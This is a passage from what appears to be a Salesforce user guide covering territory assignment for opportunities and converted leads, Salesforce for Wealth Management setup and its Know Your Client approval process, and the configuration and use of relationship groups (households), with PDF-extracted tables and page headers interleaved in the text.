An opportunity can be assigned to a territory when the opportunity is createdeither manually or during lead conversionor when account assignment rules run that affect existing opportunities. This topic includes the following sections: Territory Assignment for Manually Created Opportunities Territory Assignment for Converted Leads Notes About Territory Assignment for Opportunities

For information about account assignment rules and how they affect opportunities, see Managing Account Assignment Rules on page 2364.

Territory Assignment for Manually Created Opportunities


When an opportunity is created from the Opportunities tab or from the Quick Create area on the sidebar, Salesforce compares the territories associated with the opportunity's account to the territories that the opportunity owner is a member of: If there is a single territory that both the account and the opportunity owner belong to, the opportunity is assigned to that territory. If more than one territory is common to both the account and the opportunity owner, the opportunity is not automatically assigned to any territory. The opportunity owner must manually assign a territory to the opportunity. If no territory is common to both the account and the opportunity owner, the opportunity owner cannot assign the opportunity to a territory.

Territory Assignment for Converted Leads


When a lead is converted to an opportunity, that opportunity's territory assignment depends on several factors, including: Whether the account associated with the opportunity is assigned to one or more territories Whether the lead owner is a member of the same territory as the account The number of users assigned to a territory Whether a forecast manager is assigned to the territory

If the account associated with the opportunity is assigned to only one territory, use the following table to determine how the opportunity's territory is assigned: Lead Owner Belongs to Same Territory as Account Yes Number of Users A Forecast Manager is Results Assigned to Territory Assigned to the Territory

N/A

The opportunity is assigned to the same territory as the account and the lead owner becomes the opportunity owner.

2373

Territory Management

Assigning Opportunities to Territories

Lead Owner Belongs to Same Territory as Account No

Number of Users A Forecast Manager is Results Assigned to Territory Assigned to the Territory

N/A

The opportunity is assigned to the same territory as the account and the opportunity owner is the sole member of the territory. The opportunity is assigned to the same territory as the account and the lead owner becomes the opportunity owner. The lead owner is added as an inactive member of the territory. The opportunity is assigned to the same territory as the account and the forecast manager becomes the opportunity owner. The opportunity is assigned to the same territory as the account and the lead owner becomes the opportunity owner. The opportunity is assigned to the forecast manager of the territory. The opportunity is assigned to the same territory as the account and the lead owner becomes the opportunity owner. The lead owner is added as an inactive member of the territory.

No

N/A

Yes

>1

Yes

Yes

>1

No

No No

>1 >1

Yes No

If the account associated with the opportunity is assigned to more than one territory, use the following table to determine how the opportunity's territory is assigned: Lead Owner's Territory Membership Lead owner has one territory in common with the account Results The opportunity is not assigned to any territories and the lead owner becomes the opportunity owner. The opportunity owner can assign the opportunity to the account's territory. The opportunity is not assigned to any territories and the lead owner becomes the opportunity owner. The opportunity owner can assign the opportunity to any territory that he or she has in common with the account. The opportunity is not assigned to any territories and the lead owner becomes the opportunity owner. The opportunity owner cannot assign the opportunity to any territories.

Lead owner has more than one territory in common with the account

Lead owner has no territories in common with the account

Notes About Territory Assignment for Opportunities


The following actions do not change an opportunity's territory: Manually assigning the opportunity's account to a territory

2374

Territory Management

Assigning Opportunities to Territories

Changing which account is associated with the opportunity Changing the account's territory as a result of account assignment rules if the opportunity and its account are in different territories Transferring the opportunity to a new owner Territory assignment rules do not update an opportunity if the opportunity's Close Date is before the current date and the opportunity's Stage is Closed Won or Closed Lost. When an opportunity is not automatically assigned to a territory, we recommend that users be notified if the opportunity is not assigned to a territory manually within one day. You can set up time-based workflow to notify users about unassigned opportunities. Restoring an account or opportunity from the Recycle Bin restores the territory assignment, but it does not trigger the evaluation of account assignment rules. If account assignment rules changed while the record was in the Recycle Bin, the restored record may have territories that are inconsistent with the new rules. When opportunities are transferred from one user to another, whether individually or as a group, the territory assignment on the opportunities is unaffected. However, if the opportunities are assigned to a user who is not already a member of the opportunitys territory, that user is added as an inactive member of the territory. When users are removed from a territory, you can specify who should receive their open opportunities. Also, when users are transferred from one territory to another, you can specify which opportunities the users should continue to own and select a recipient for any remaining opportunities. If you do not specify a recipient: If the parent territory has a forecast manager, the forecast manager takes ownership of the user's open opportunities. The forecast manager is assigned to the territory and Active in Territory is unchecked. If the parent territory does not have a forecast manager, the user remains in the territory and Active in Territory is unchecked.

See Also:
Managing Account Assignment Rules Creating and Editing Account Assignment Rules Creating Opportunities Converting Leads

Manually Assigning Accounts to Territories

2375

Territory Management

Manually Assigning Accounts to Territories

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manually add accounts to territories: Manage Territories AND Edit on accounts OR You are a forecast manager, Forecast managers can manage territories is selected, you are working below your position in the territory hierarchy, and you have Edit on accounts.

As an alternative to creating and running account assignment rules, you can add accounts to territories manually: 1. On the territory detail page, click Add Accounts on the Manually Assigned Accounts related list. 2. Choose a view from the drop-down list, or click Create New View to build a new custom view. See Creating Custom List Views on page 241. 3. Click Select and Deselect to move accounts between the Available and Selected areas. Also, you can: Click a letter to view accounts that correspond to that letter. Click All to display all accounts that match the criteria of the current view. Click select shown to move all accounts that are shown on the current list page to the Selected area below. Click deselect shown or deselect all to move accounts from the Selected area to the Available area.

4. When the accounts in the Selected area includes all accounts that you want to manually add to the territory, click Assign. Note: Manually adding accounts and running account assignment rules are completely independent. A manually added account remains in a territory until it is manually removed. There is nothing to prevent assignment rules also adding the account to the territory.

See Also:
Displaying and Editing Territories

Viewing Manually Assigned Accounts Lists

2376

Salesforce for Wealth Management

Viewing Manually Assigned Accounts Lists

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view manually assigned account lists: To remove accounts: View Setup and Configuration Manage Territories AND Edit on accounts OR You are a forecast manager, Forecast managers can manage territories is selected, you are working below your position in the territory hierarchy, and you have Edit on accounts.

The manually assigned accounts list page displays a list of accounts assigned to the selected territory. From this page, you can view detailed account information, remove accounts from territories, and access other related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. Click an account name to view the account detail. Click Remove next to an account name to remove the account from the territory.

See Also:
Territory Management Overview Managing Users in Territories

SALESFORCE FOR WEALTH MANAGEMENT


Salesforce for Wealth Management Overview
What Is Salesforce for Wealth Management?
Salesforce for Wealth Management is an industry solution that is designed and customized for the wealth management industry.

2377

Salesforce for Wealth Management

Getting Started With Salesforce for Wealth Management

Who Should Use Salesforce for Wealth Management?


Salesforce for Wealth Management is intended for wealth management professionals who advise high net worth clients. It allows you to build deeper customer relationships, integrate key systems to drive user adoption, and effectively support compliance processes.

How Do I Obtain Salesforce for Wealth Management?


Salesforce for Wealth Management is available at an additional cost with Enterprise and Unlimited Editions. It includes all generally available Enterprise and Unlimited Edition features such as Outlook integration, workflow, and the Force.com API. As a prerequisite, it requires person accounts, which are enhanced account records designed for business-to-consumer industries such as financial services. (To learn how to implement person accounts, see the Implementing Person Accounts tip sheet.) To obtain Salesforce for Wealth Management, contact salesforce.com.

What Does Salesforce for Wealth Management Include?


Salesforce for Wealth Management contains the following components that set it apart from standard Salesforce functionality: Easy-to-use tabs with client-oriented fields Comprehensive client information including financial accounts, investment preferences, addresses, and personal interests Comprehensive Know Your Client suitability forms with an automated approval process Reports and dashboards specific to the wealth management process Relationship groups (also known as households) for more information, see Relationship Groups Overview on page 2385.

How Do I Learn More About Salesforce for Wealth Management?


To learn more about Salesforce for Wealth Management, see the following topics: Getting Started With Salesforce for Wealth Management on page 2378 Navigating the Salesforce for Wealth Management App on page 2381 Managing Wealth Management Clients on page 2383

In addition, visit the product overview page at http://www.salesforce.com/industries/financial-services/wealth-management/.

Getting Started With Salesforce for Wealth Management


User Permissions Needed To view the setup options for custom apps: To manage custom apps: View Setup and Configuration Customize Application

As an administrator, perform the following tasks to set up Salesforce for Wealth Management for your organization:

Verify the Contents of the Salesforce for Wealth Management App


Verify that the Salesforce for Wealth Management custom app contains the correct tabs: 1. Click Your Name > Setup > Create > Apps. 2. In the list, click Salesforce for Wealth Management. 3. Verify that the following tabs are present in the Included Tabs list:

2378

Salesforce for Wealth Management

Getting Started With Salesforce for Wealth Management

Home Accounts Financial Accounts Holdings WM Assets Client Interests Know Your Clients Reports Dashboards Documents Console

4. If necessary, click Edit and choose the appropriate tabs to add or remove.

Configure Users' App Choices


In addition to the main Salesforce for Wealth Management custom app, the following custom apps are also available in the Force.com app menu: Salesforce Financial Accounts & Holdings Salesforce Clients and Interests Salesforce Know Your Client

Optionally, you can hide these apps from users in the Force.com app menu, because all appropriate tabs are already consolidated in the main Salesforce for Wealth Management custom app. To hide these apps: 1. Click Your Name > Setup > Create > Apps. 2. Click Edit next to the appropriate app name. 3. In the Assign to Profiles area, deselect the checkboxes in the Visible column that correspond to end users' profiles. Select only the checkboxes that correspond to administrator profiles. 4. Click Save. 5. Repeat this procedure as necessary for the remaining custom apps listed above.

Verify Record Types


Click Your Name > Setup > Customize > Accounts > Person Accounts > Record Types to verify that the following record types are available for person accounts (clients): Individual This record type is for clients and prospective clients. It should be assigned to the Individual page layout. Professional Relationship This record type is for lawyers, accountants, and other professional relationships. It should be assigned to the Professional Relationship page layout.

Configure Users' Page Layouts


Ensure that the following components are included in users' page layouts, which can be configured by clicking the appropriate Page Layouts link under Your Name > Setup > Customize: Home Tab Page Layouts The home page layout for financial advisors, titled FA Home Page, should include the following components:

2379

Salesforce for Wealth Management

Managing the Know Your Client Approval Process

Items To Approve Tasks Calendar Dashboard Snapshot Search Create New Recent Items Messages & Alerts Custom Links

Person Accounts Page Layout The page layouts for person accounts (clients) should include the following related lists: Financial Accounts Holdings Client Interests Know Your Client Open Activities Activity History Partners Account Team Notes & Attachments

Verifying the Know Your Client Approval Process


Salesforce for Wealth Management includes an approval process that routes Know Your Client forms to the appropriate Salesforce users for approval. For more information, see Managing the Know Your Client Approval Process on page 2380.

See Also:
Salesforce for Wealth Management Overview Navigating the Salesforce for Wealth Management App Managing Wealth Management Clients

Managing the Know Your Client Approval Process


User Permissions Needed To create, edit, delete, or clone approval processes: To view approval processes: Customize Application View Setup and Configuration

About the Know Your Client Approval Process


An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records

2380

Salesforce for Wealth Management

Navigating the Salesforce for Wealth Management App

included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. The Know Your Client approval process is included in Salesforce for Wealth Management and has the following general definition: 1. A financial advisor creates a new Know Your Client record. Note: Data from a saved Know Your Client record can be merged into a printable Microsoft Word document using the provided mail merge template. 2. A financial advisor submits the Know Your Client record for approval, which sets the following actions in motion: The Know Your Client record is locked and cannot be edited KYC Approval Status becomes Pending Approval Date Know Your Client Submitted becomes today Know Your Client record type becomes KYC Submitted An approval request is routed to the appropriate Salesforce user for review, and he or she is also sent an email notification using the appropriate email template

3. The lead financial advisor approves or rejects the approval request, which causes the following actions: The record continues to be locked and cannot be edited KYC Approval Status becomes Approved or Rejected Date KYC Approved/Rejected becomes today If the record was approved, a follow-up task is scheduled for the financial advisor to review the Know Your Client form in six months

Activating the Know Your Client Approval Process


To activate the Know Your client approval process: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. In the Manage Approval Processes For drop-down list, select Know Your Client. 3. Click Activate next to the approval process name.

See Also:
Getting Started With Salesforce for Wealth Management Salesforce for Wealth Management Overview Managing Approval Processes

Navigating the Salesforce for Wealth Management App


To access the Salesforce for Wealth Management app, go to the Force.com app menu in the top right corner of any Salesforce page and select Salesforce for Wealth Management. The tabs in the Salesforce for Wealth Management app are as follows:

2381

Salesforce for Wealth Management

Navigating the Salesforce for Wealth Management App

Home The Home tab offers quick access to the information you need on a daily basis, such as your calendar and task list. Clients A client is a person who you advise or do business with, a prospect who you potentially will do business with, or a professional relationship such as an accountant or lawyer. You can manage your clients on the Clients tab. In standard Salesforce terminology, clients are called accounts. However, Salesforce for Wealth Management uses the term clients. For details on how to work with client records, see Managing Wealth Management Clients on page 2383. Financial Accounts The Financial Accounts tab allows you to track a client's financial accounts, such as retirement accounts and brokerage accounts. On this tab, you can also view the holdings included in each financial account. Holdings The Holdings tab allows you to track a client's owned assets such as funds, stocks, and bonds. Holdings roll up to financial accounts, which in turn are related to individual clients. Client Interests The Client Interests tab allows you to track the securities a client is interested in buying or selling. Know Your Clients The Know Your Clients tab allows you to manage suitability forms that contain comprehensive personal and financial information about a client. These forms proceed through an approval process where the form must be approved or rejected by a financial advisor, as well as reviewed for accuracy after a specified number of months. WM Assets The WM Assets (Wealth Management Assets) tab allows you to build a repository of funds, stocks, and other securities that may be included in the holdings of a client's financial accounts. For example, you can create a WM asset for the symbol CRM, which is the salesforce.com company stock. Documents The Documents tab allows you to upload files to Salesforce such as Microsoft Word documents, Microsoft Excel spreadsheets, and other electronic content. Reports The Reports tab allows you to view and build analyses of your data. For general information about this tab, see Reports Overview on page 2607. For details about the custom reports included in Salesforce for Wealth Management, see Salesforce for Wealth Management Reports and Dashboards on page 2384. Dashboards The Dashboards tab allows you to view charts of your report data. For general information about this tab, see Viewing Dashboards on page 2700. For details about the custom dashboards included in Salesforce for Wealth Management, see Salesforce for Wealth Management Reports and Dashboards on page 2384. Console The Console tab allows you to view and edit the client information and related records on a convenient multi-frame page. For information on using the Console tab, see Navigating within the Console Tab on page 2910.

2382

Salesforce for Wealth Management

Managing Wealth Management Clients

Relationship Groups Relationship groups are custom object records used to store collections of accounts. In some organizations, relationship groups are called households. For more information, see Relationship Groups Overview on page 2385.

See Also:
Salesforce for Wealth Management Overview Managing Wealth Management Clients

Managing Wealth Management Clients


User Permissions Needed To view the Clients tab: To view clients: To create clients: Read on accounts Read on accounts Create on accounts and contacts

Clients are exclusively available in Salesforce for Wealth Management. A client is a person who you advise or do business with, a prospect who you potentially will do business with, or a professional relationship such as an accountant or lawyer. You can manage your clients on the Clients tab. In standard Salesforce terminology, clients are called accounts. However, Salesforce for Wealth Management uses the term clients. Clients have all of the standard capabilities of account records. For general information on these capabilities and how to use them, see Accounts Home on page 66. In addition, the special capabilities of clients are as follows: Client Record Types Record types are categories that allow you to organize your records. You can assign client records to the following record types: Business specifies a corporate entity or trust Individual specifies an existing or prospective client Professional Relationship specifies an accountant, lawyer, or other professional relationship

For general information on selecting record types, see Changing the Record Type Field on page 98. Client List Views On the Clients tab, you can use list views to conveniently access different sets of clients. For example, select My A Clients to view a list of your clients who have an A rating. Client Details The client detail page includes groups of fields tailored to wealth management clients. For example, one section tracks a client's preferences in several categories you can specify that a client is interested in vacation homes, mid-cap stocks, the retail and entertainment sectors, golf, and US politics.

2383

Salesforce for Wealth Management

Managing Wealth Management Clients

Financial Accounts Related List The Financial Accounts related list provides an overview of the client's financial accounts, such as account names, account numbers, and current values. This information comes from the records on the Financial Accounts tab. Holdings Related List The Holdings related list provides an overview of the client's owned assets such as funds, stocks, and bonds. For each holding you can see values such as market value, last price, purchase price, and number of shares. This information comes from the records on the Holdings tab. Note that each holding is associated with a financial account record. Client Interests Related List The Client Interests related list provides an overview of the securities that the client is interested in buying or selling. This information comes from the records on the Client Interests tab. Know Your Clients Related List The Know Your Clients related list provides an overview of the Know Your Client forms that are associated with the client. This information comes from the records on the Know Your Clients tab. For more information about the Know Your Clients feature, see Managing the Know Your Client Approval Process on page 2380. Relationships Related List A relationship refers to a client who has a role in the life of another client, such as a spouse, child, accountant, or attorney. Relationships are tracked in the Relationships related list on the client detail page, which is available as an option. In standard Salesforce terminology, relationships are called partners. However, Salesforce for Wealth Management uses the term relationships. For more information on this feature, see Viewing and Adding Partners on page 3044. Client Team Related List The Client Team related list tracks the financial advisors and other Salesforce users who are involved in the management of a particular client. In standard Salesforce terminology, client teams are called account teams. However, Salesforce for Wealth Management uses the term client teams. For more information on this feature, see Setting Up Account Teams on page 2216. Relationship Group Members Related List The Relationship Group Members related list displays the relationship groups of which the client is a member. It is available as an option and is called Household Members in some organizations. For more information, see About Relationship Group Members on page 2387.

See Also:
Salesforce for Wealth Management Overview Navigating the Salesforce for Wealth Management App

Salesforce for Wealth Management Reports and Dashboards

2384

Relationship Groups

Salesforce for Wealth Management Reports and Dashboards

User Permissions Needed To run reports: Run Reports AND Read on the records included in reports To view dashboards: Run Reports AND Access to view dashboard folders

Salesforce for Wealth Management Reports


Salesforce for Wealth Management offers industry-specific reports, which are grouped in the following folders on the Reports tab: Client Reports Client Interest Reports Financial Account Reports Holdings and WM Asset Reports Know Your Client Reports

To access these reports, select the appropriate folder from the drop-down list on the Reports tab, then click the appropriate report name. For more information on using reports, see Reports Tab on page 2609.

Salesforce for Wealth Management Dashboards


Salesforce for Wealth Management offers industry-specific dashboards, such as a dashboard of financial accounts that allows you to analyze your book of business. To access these dashboards, go to the Dashboards tab and select the appropriate dashboard name from the drop-down list. For more information on using dashboards, see Viewing Dashboards on page 2700. Note: You can see a dashboard snapshot on the Home tab. For more information, see Changing Your Home Tab Dashboard on page 53.

See Also:
Salesforce for Wealth Management Overview Navigating the Salesforce for Wealth Management App

RELATIONSHIP GROUPS
Relationship Groups Overview

2385

Relationship Groups

Relationship Groups Overview

Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

What Are Relationship Groups?


Relationship groups are custom object records used to store collections of accounts. For example, you can use relationship groups to manage the following: A household of people who reside at the same address An extended family consisting of multiple generations of relatives A professional group such as a medical practice or a law firm The trustees and beneficiaries of a trust

The accounts that you add to relationship groups are called relationship group members. For more information, see About Relationship Group Members on page 2387.

Who Can Use Relationship Groups?


Note: Relationship groups are only available upon request to Salesforce for Wealth Management customers. Note that the Relationship Groups tab may be named Households in Salesforce for Wealth Management organizations. To enable relationship groups, contact your salesforce.com representative. Your organization must have implemented person accounts before you can use relationship groups. Your administrator can enable relationship groups by installing the Relationship Groups custom app. For information on how to install custom apps, see Installing a Package on page 2042.

What Are the Benefits of Relationship Groups?


Relationship groups allow you to: Track the familial and professional roles of different relationship group members Assign primary and secondary designations to the two most important members of a relationship group View roll-up related lists of all activities for the members of a relationship group

2386

Relationship Groups

Relationship Groups Overview

View roll-up related lists of the custom objects that are related to the accounts in a relationship group

See Also:
Relationship Group Fields Using Relationship Groups Relationship Group Considerations Installing and Implementing Relationship Groups Administrator setup guide: Getting Started with Relationship Groups

Relationship Group Fields


Available in: Salesforce for Wealth Management

A relationship group custom object has the following default fields, listed in alphabetical order. Name Description Primary Name Secondary Name Total Members Description A text description of the relationship group. Up to 255 characters are allowed. The name of the primary relationship group member. The name of the secondary relationship group member. The total number of members in the relationship group.

To add custom fields to relationship groups, click Your Name > Setup > Develop > Objects > Relationship Group, then click New in the Custom Fields & Relationships section.

See Also:
Relationship Groups Overview Using Relationship Groups

About Relationship Group Members

2387

Relationship Groups

About Relationship Group Members

Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

Note: Relationship groups are only available upon request to Salesforce for Wealth Management customers. Note that the Relationship Groups tab may be named Households in Salesforce for Wealth Management organizations. To enable relationship groups, contact your salesforce.com representative.

What Are Relationship Group Members?


The accounts that you add to relationship groups are called relationship group members. Like relationship groups, relationship group members are custom objects. Each relationship group member record represents an association between an account and a relationship group. For example, if you add the account Mary Smith to the relationship group Smith Family, a relationship group member record is created that links Mary Smith to the Smith Family. Relationship group members are unique because they have two master-detail relationships: one with accounts and another with relationship groups. When discussing these master-detail relationships, accounts and relationship groups are sometimes referred to as the parents of relationship group members.

What Are the Limits on Relationship Group Members?


You can add a given account to up to 200 relationship groups. For example, an account Joseph Brown who is an attorney may be a member of several relationship groupsin some cases as an attorney, in other cases as a family member. You can add up to 20 accounts to a particular relationship group. For example, a relationship group that represents a large extended family including grandparents, children, and grandchildren cannot have more than 20 relationship group members. In a particular relationship group, you can specify only one relationship group member as primary, and only one relationship group member as secondary. In addition, you cannot add the same account more than once to a particular relationship group.

Where Can I View Relationship Group Members?


The Relationship Group Members related list displays on both the relationship group detail page and the account detail page. On the relationship group detail page, the related list summarizes the accounts that are members of the given relationship group. On the account detail page, the related list summarizes the relationship groups of which the given account is a member.

Relationship Group Member Fields


Relationship group members have the following fields.

2388

Relationship Groups

Relationship Group Considerations

Field Name Account Role

Description The name of the account. The familial, professional, or other role that an account has in a relationship group - for example, Client, Spouse, Child, Attorney, or Accountant. Your administrator defines the available values in this picklist. Designates an account as the most important member of the relationship group. Only one relationship group member can be specified as primary. Designates an account as the second-most important member of the relationship group. Only one relationship group member can be specified as secondary. Specifies whether the activities and custom objects of an account display in related lists on the relationship group detail page. Does not display in the relationship group wizard, but is available as a column in the Relationship Group Members related list on account and relationship group detail pages. This column displays the primary ( ) or secondary ( ) icon as appropriate next to account names. This is a system field that prevents duplicate records. It does not display to users in Salesforce but is visible in the Force.com API. This field should be treated as read only; attempts to modify it through the API will be ignored.

Primary

Secondary

Include in Roll-up

Priority

Unique Key

Note: When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see Merging Accounts Associated with Relationship Groups on page 92.

See Also:
Relationship Groups Overview Relationship Group Considerations Using Relationship Groups Removing Members from Relationship Group Members

Relationship Group Considerations


Available in: Salesforce for Wealth Management

To make the most of relationship groups and relationship group members, review the notable behaviors and limitations below.

2389

Relationship Groups

Relationship Group Considerations

Relationship Group Considerations


Relationship groups: Support roll-up related lists for activities and custom objects only. Are completely separate from the Partners related list on accounts. Do not have directly associated activities, notes, or attachments. Only support required custom fields that are configured with a default value. Such custom fields will display on relationship group detail and edit pages, but not in the relationship groups wizard. For information on setting default field values, see Defining Default Field Values on page 1061. Only support validation rules on custom fields that were added after the Relationship Group managed package was installed. Cannot be renamed to a different name than relationship group, because they are a custom object in a managed package. For more information on managed packages, see the Force.com Quick Reference for Developing Packages. Can be created and edited through the relationship group wizard regardless of field-level security settings on the Description field.

Relationship Group Member Considerations


Relationship group members: Are limited to a maximum of 20 per relationship group. Cannot be imported via the import wizard for custom objects. Do not support tagging. Have the division of the parent relationship group. Are owned by both the parent relationship group and the parent account. Do not support validation rules. Do not support universally required fields. Cannot be renamed to a different name than relationship group member, because they are a custom object in a managed package. For more information on managed packages, see the Force.com Quick Reference for Developing Packages. Can have the fields Primary, Secondary, and Include in Roll-Up edited through the relationship group wizard even when the field-level security on those fields is read-only Cannot be included in workflow rules or approval processes. Cannot be used in Salesforce to Salesforce. Are not supported in Connect Offline. Are only supported in API version 11.0 and later. In the API, using the upsert call on relationship group members is not supported.

See Also:
Relationship Groups Overview About Relationship Group Members Using Relationship Groups Testing the Relationship Groups Package

Installing and Implementing Relationship Groups

2390

Relationship Groups

Installing and Implementing Relationship Groups

Available in: Salesforce for Wealth Management

User Permissions Needed To install apps: To configure and deploy installed apps: Download AppExchange Packages Customize Application

Obtaining the Relationship Groups Custom App


The relationship groups custom app comes preinstalled in most Salesforce for Wealth Management organizations. If your Salesforce for Wealth Management organization does not have the relationship groups custom app, contact salesforce.com to request it.

Verifying the Installation of the Relationship Groups Custom App


If the relationship groups custom app has been installed to your organization, the Relationship Groups option displays in the Force.com app menu. In addition, administrators can use the following procedure to verify that the relationship groups custom app was successfully installed: 1. Go to Your Name > Setup > Create > Apps and verify that the relationship groups custom app is present and has the Managed - Installed icon. 2. Go to Your Name > Setup > Create > Objects and verify that the relationship group and relationship group member objects are present and each has the Managed - Installed icon.

Configuring the Relationship Groups Custom App


Perform the following implementation tasks to configure the custom app. If the relationship groups custom app came pre-installed with Salesforce for Wealth Management, some of these configurations may already be set in your organization. Customizing Account Page Layouts At Your Name > Setup > Customize > Accounts > Page Layouts, remove the following related lists from the appropriate account page layouts: Relationship Groups (Primary Account) Relationship Groups (Secondary Account)

For general information about customizing page layouts, see Customizing Page Layouts on page 1191. Customizing Person Account Page Layouts At Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts, edit the appropriate accountperson account page layouts: 1. In the Related List Section, drag and drop to edit the following related lists: Add Relationship Group Members Remove Relationship Groups (Primary Account) Remove Relationship Groups (Secondary Account)

2. Edit the Relationship Group Members related list as follows:

2391

Relationship Groups

Installing and Implementing Relationship Groups

At minimum, include the following fields: Relationship Group, Role, Priority, Include in Roll-Up Remove the standard New button Add the Add Account to Relationship Group button

Setting Context-Sensitive Help for Relationship Groups By default, the Help for this Page links on relationship group pages open help content about custom objects in general. To redirect those links to help topics that specifically describe relationship groups: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Create > Objects. Click Relationship Group to open its custom object definition. In the Custom Object Definition Detail section, click Edit. For Context-Sensitive Help Setting, choose Open a window using a custom s-control. For Custom S-Control, choose Relationship Groups Help. Click Save. Note: Repeat this procedure for the Relationship Group Member custom object. This sets an appropriate context-sensitive destination for the help links on the Relationship Group Member related lists. For general information about object-level help, see Defining Object-Level Help on page 1485. Overriding Standard Relationship Group Buttons To customize the buttons on the relationship group detail page: 1. Click Your Name > Setup > Create > Objects. 2. Click Relationship Group to open its custom object definition. 3. In the Standard Buttons and Links section, click Override next to New and replace that button with the NewHousehold s-control. For general information about overriding buttons, see Overriding Standard Buttons and Tab Home Pages on page 1172. Customizing Relationship Group Search Layouts To customize the search layouts for relationship groups: 1. Click Your Name > Setup > Create > Objects. 2. Click Relationship Group to open its custom object definition. 3. In the Search layouts section, click Edit to modify the appropriate search layout. At minimum, we recommend setting the following columns for search results: Relationship Group Name Primary Account Secondary Account Last Modified By

For general information about customizing search layouts, see Customizing Search Layouts on page 1216. Customizing Relationship Group Page Layouts To customize the layout of the relationship group detail page, click Your Name > Setup > Create > Objects, then click Relationship Group to open its custom object definition, then click Edit next to the appropriate page layout name. Edit the page layout as follows: 1. Remove the Clone button from the detail page.

2392

Relationship Groups

Installing and Implementing Relationship Groups

2. Edit the Open Activities related list as follows: Remove the standard New Task and New Event buttons Add the custom New Task and New Event buttons

3. Edit the Activity History related list as follows: Remove the standard Log a Call. Mail Merge. Send an Email, Request Update. and View All buttons Add the custom Log a Call, Mail Merge, and Send an Email buttons

4. In the Relationship Group Members related list, include the following fields, at minimum:
Relationship Group Role Priority Include in Roll-Up

Overriding Standard Relationship Group Member Buttons To customize the buttons on the relationship group member detail page: 1. Click Your Name > Setup > Create > Objects. 2. Click Relationship Group Member to open its custom object definition. 3. In the Standard Buttons and Links section, click Override next toNew and replace it with Edit buttons with the Edit Household Members s-control.

Deploying the Relationship Groups Custom App


After configuring the relationship groups custom app, deploy it to make it visible to your users. For details, see Deploying Installed Packages on page 2048. After the app has been deployed, verify that a Relationship Groups option displays in the Force.com app menu. Note: In some cases, the custom app and its custom objects may be have the label Households instead of Relationship Groups throughout. Whatever the labels are, they cannot be changed because the app is a managed package. Installing the Relationship Groups custom app may cause an error if your organization has fewer than 21 account records. You may ignore this error and continue the installation process. For all installations, the API names of the custom objects begin with the namespace prefix household__. The Relationship Group Member object is only supported in API version 11.0 and later.

See Also:
Using Relationship Groups Relationship Groups Overview About Relationship Group Members Testing the Relationship Groups Package Installing a Package

2393

Relationship Groups

Testing the Relationship Groups Package

Testing the Relationship Groups Package


Available in: Salesforce for Wealth Management

User Permissions Needed To install apps: To configure and deploy installed apps: Download AppExchange Packages Customize Application

The relationship groups managed package provides unit tests that run when you install the package in your sandbox or production organization. In some cases, a component like an Apex trigger, validation rule, workflow rule, or custom field prevents the unit tests from completing successfully. If the unit tests fail, do the following before running the tests again: Install the latest version of the relationship groups managed package. The functionality of the new version is the same as the older version except the unit tests have been enhanced. Contact Salesforce.com and request the latest version of the package (not available on the AppExchange). Deactivate components that prevent account, household, or household member objects from being edited or deleted. Apex triggers are a common cause of failed unit tests. To ensure the relationship groups package runs successfully in your organization, the unit tests attempt to edit and delete some account, household, and household member objects. These tests do not permanently modify your organization's data. If a platform element prevents these objects from being edited or deleted, the unit tests fail.

See Also:
Installing and Implementing Relationship Groups Managing Apex Triggers

Using Relationship Groups

2394

Relationship Groups

Using Relationship Groups

Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

Note: Relationship groups are only available upon request to Salesforce for Wealth Management customers. Note that the Relationship Groups tab may be named Households in Salesforce for Wealth Management organizations. To enable relationship groups, contact your salesforce.com representative. You can perform the following actions with relationship groups: Creating Relationship Groups Adding Accounts to Relationship Groups Editing the Members of Relationship Groups Displaying and Editing Relationship Groups Searching for Relationship Groups Reporting on Relationship Groups Deleting Relationship Groups Removing Members from Relationship Group Members

See Also:
Relationship Groups Overview About Relationship Group Members Relationship Group Considerations Installing and Implementing Relationship Groups Administrator setup guide: Getting Started with Relationship Groups

Creating Relationship Groups

2395

Relationship Groups

Creating Relationship Groups

Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

Salesforce provides an easy wizard so you can quickly create and edit relationship groups. To create a new relationship group: 1. On the Relationship Groups home page, click New next to Recent Relationship Groups. 2. Enter the name and description of the relationship group: a. Enter a name for the relationship group. b. Optionally, enter a description for the relationship group. c. Click Next to continue. 3. Define the members of the relationship group: a. b. c. d. e. Use the lookup fields to select the appropriate records. In the Role drop-down list, specify the appropriate role for each person in the relationship group. Designate one of the records as primary. Designate another record as secondary. Optionally, click Add Member as needed to include additional members. You can add a maximum of 20 records to a relationship group. f. Select Include in Roll-up for the accounts whose related activities and custom objects should display on the relationship group detail page. g. Click Save to finish. 4. After completing the wizard, the detail page of the new relationship group displays so you can review your work.

2396

Relationship Groups

Adding Accounts to Relationship Groups

Note: You can also add an account to a new or existing relationship group.

See Also:
Editing the Members of Relationship Groups Using Relationship Groups Relationship Groups Overview About Relationship Group Members

Adding Accounts to Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed To create or edit relationship groups and relationship group Create and Edit on relationship groups members via the wizard: AND Create and Edit on relationship group members AND Read on accounts To delete relationship groups: To remove relationship group members: Delete on relationship groups Delete on relationship group members

